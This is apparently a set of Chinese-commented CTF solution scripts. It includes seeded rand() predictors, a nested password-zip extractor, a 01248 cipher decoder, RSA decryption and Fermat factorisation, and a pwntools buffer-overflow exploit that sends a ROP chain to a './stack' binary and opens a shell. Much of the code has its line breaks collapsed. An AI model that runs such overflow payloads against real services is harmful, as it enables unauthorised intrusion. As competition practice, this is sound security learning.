#include <stdio.h>#include <stdlib.h>
int main() {  int i,image,buf;
    srand(0x22);  for(i=0;i<=11;i++){    image=rand()%3;    printf("%d ",image);
  }}

#include <stdio.h>#include <stdlib.h>
int main() {  int i,image,buf;
    srand(0x2a);  for(i=0;i<=50;i++){    image=rand()%3;    if(image==0)    printf("2n");    if(image==1)    printf("0n");    if(image==2)    printf("1n");
  }}

expfrom pwn import *r=process('./stack')#本地连接程序#r = remote('112.6.51.212',30189)#连接远程


payload=b'a'*0x78+p64(0x00000000004007e3)+p64(0x400808)+p64(0x40073B)#攻击链r.sendlineafter(b"overflowsnn",payload)#接收发送攻击链r.interactive()#直接进行交互，相当于回到shell的模式

import pyzipperimport os
def extract_nested_zip(zip_file):      with pyzipper.AESZipFile(zip_file, 'r') as zipf:        password_filename = None        for file_info in zipf.filelist:                      if file_info.filename.startswith('password_'):                password_filename = file_info.filename                break                if password_filename is None:            print(f'未找到密码文件，无法解密压缩包 "{zip_file}"。')            return                      with zipf.open(password_filename) as pwd_file:            password = pwd_file.read().decode()                       with pyzipper.AESZipFile(zip_file, 'r', encryption=pyzipper.WZ_AES) as inner_zipf:            for file_info in inner_zipf.filelist:                inner_zipf.extract(file_info, path='.', pwd=password.encode())                print(f'已解压文件: {file_info.filename}')                        next_zip_filename = None        for file_info in inner_zipf.filelist:            if file_info.filename.endswith('.zip'):                next_zip_filename = file_info.filename                break                if next_zip_filename:            extract_nested_zip(next_zip_filename)
if __name__ == '__main__':    outermost_zip_file = 'manyzip_499.zip'      extract_nested_zip(outermost_zip_file)

原理很简单，有了1，2，4，8这四个简单的数字，你可以以加法表示出0-9任何一个数字，例如0=28，7=124，9=18。这样，再用1-26来表示A-Z，就可以用作密码了。为了不至于混乱，引用了第五个数字0，来用作间隔，以避免翻译错误，所以还可以称“01248密码”。

a="120222480111222448011224240112448014224201222201844201422084204242242012202224802120184420881210122408240124"s=a.split('0')print(s)l=[]for i in s:    sum=0    for j in i:        sum+=eval(j)    l.append(chr(sum+64))print(''.join(l))

import libnum
import gmpy2


p = 134096351641873733136655136258930346068666059727369503282043358355700127445567145015864534393648722390354391864886220859764835960001384898109024177275632112341866578728402687911008617032055729760873500316750429826070955961883087776809018398637916325085984289076923243657957898725206939956833810785599676729081
q = 174103184868040863643318748725372782590375980254481106844909104639082212404057463322179700704433290948772456739103162440357371611490518612697711739090944270430948454322201815911126010072979510574940873419522755545296895048058252502599021139498869173058848513456305201212185556602542021019786049803486761575619
e = 65537
n = 23346601900034957555688205728495241197603710402649144851787338023529721742194127312047817399657806766767609016899148890792321953032265424697519828450283061929215380561118334803838533435756788037558393172185799965795876666508514498912225616313132295758111963327975946691723015094769391915622723746219695635703244442263293688623076006730992652392943763278634358911926029815126546840504505510331787504021704653483109395844912490151355318632539550539120625649870737699418228432053253123075546330645737636906674371251100640653395805629579624694238594583468588747282098538736123706732879326510925267827419261467515757876139
c = 21059425587138275177851133719489520191806374210483381046129196548327926882726571104652182980009173089102114951221766632805478392995791154212734039464866621083806832531787252690774774079642174403366738764142141333611676848288053968926219012504301602753768504662298743543510989548687429433750042177449318246891000022681153221275734518915972309438820282840114939223344564087181810107485654527166576224292423298530128805470851466693656140130112962076400703900223613390342448935776739787297327454611230862799071044833028841126247371401388582818660833906604610436650137961239491977984238538541018508899164870408658111225592


phi = (p-1)*(q-1)


d = gmpy2.invert(e, phi)
m = gmpy2.powmod(c, d, n)


print(libnum.n2s(int(m)).decode())

import  gmpy2import libnumdef isqrt(n):  x = n  y = (x + n // x) // 2  while y < x:    x = y    y = (x + n // x) // 2  return x
def fermat(n, verbose=True):    a = isqrt(n)     b2 = a*a - n    b = isqrt(n)     count = 0    while b*b != b2:        a = a + 1        b2 = a*a - n        b = isqrt(b2)        count += 1    p=a+b    q=a-b    assert n == p * q    print('p=',p)    print('q=',q)    return p, qn= 9902818856222787024563072133440550938710227558135328161789597975061589956056992262033542077154303618976791004431333531566549039602180273711537029693586182757724092450368200557073359408363479337363507885859556647468887536468774671586957716873885078043767796679063965432886918774554067185434296238290330438435760966311141004960151482088020397079850490003346872012237936581379969498669060779635164715522140773054302161538487178356007181001168935521820750705451939658389744968102068056144618223821116178519113949752796472136437303624285646057868957254876748746072125760376198949315110236060132257629082612239437688267817e= 65537c= 5159074368161541220237618453546581685955484179084194024992550056500438408178271386314960904546540848345370535310245598908803315809660211277776672289921238267645740671269916277896450223256967608644746977632342909627272084837606715644342530689351173316353848189214669987733795167033379669336141047211939013874739278870794953469189661132687676706346507396405946492642648897990248958917013256337570746910017175346336103441528515091504265815800116946786279239756724184064237114695548319993781206797074067095779971390244729292540495903352355048685746842568533136142923146303443882436592305037659264720790923302870859093878pq=fermat(n)p=pq[0]q=pq[1]phi_n=(p-1)*(q-1)d=gmpy2.invert(e,phi_n)m=pow(c,d,n)print(m)print(libnum.n2s(int(m)).decode())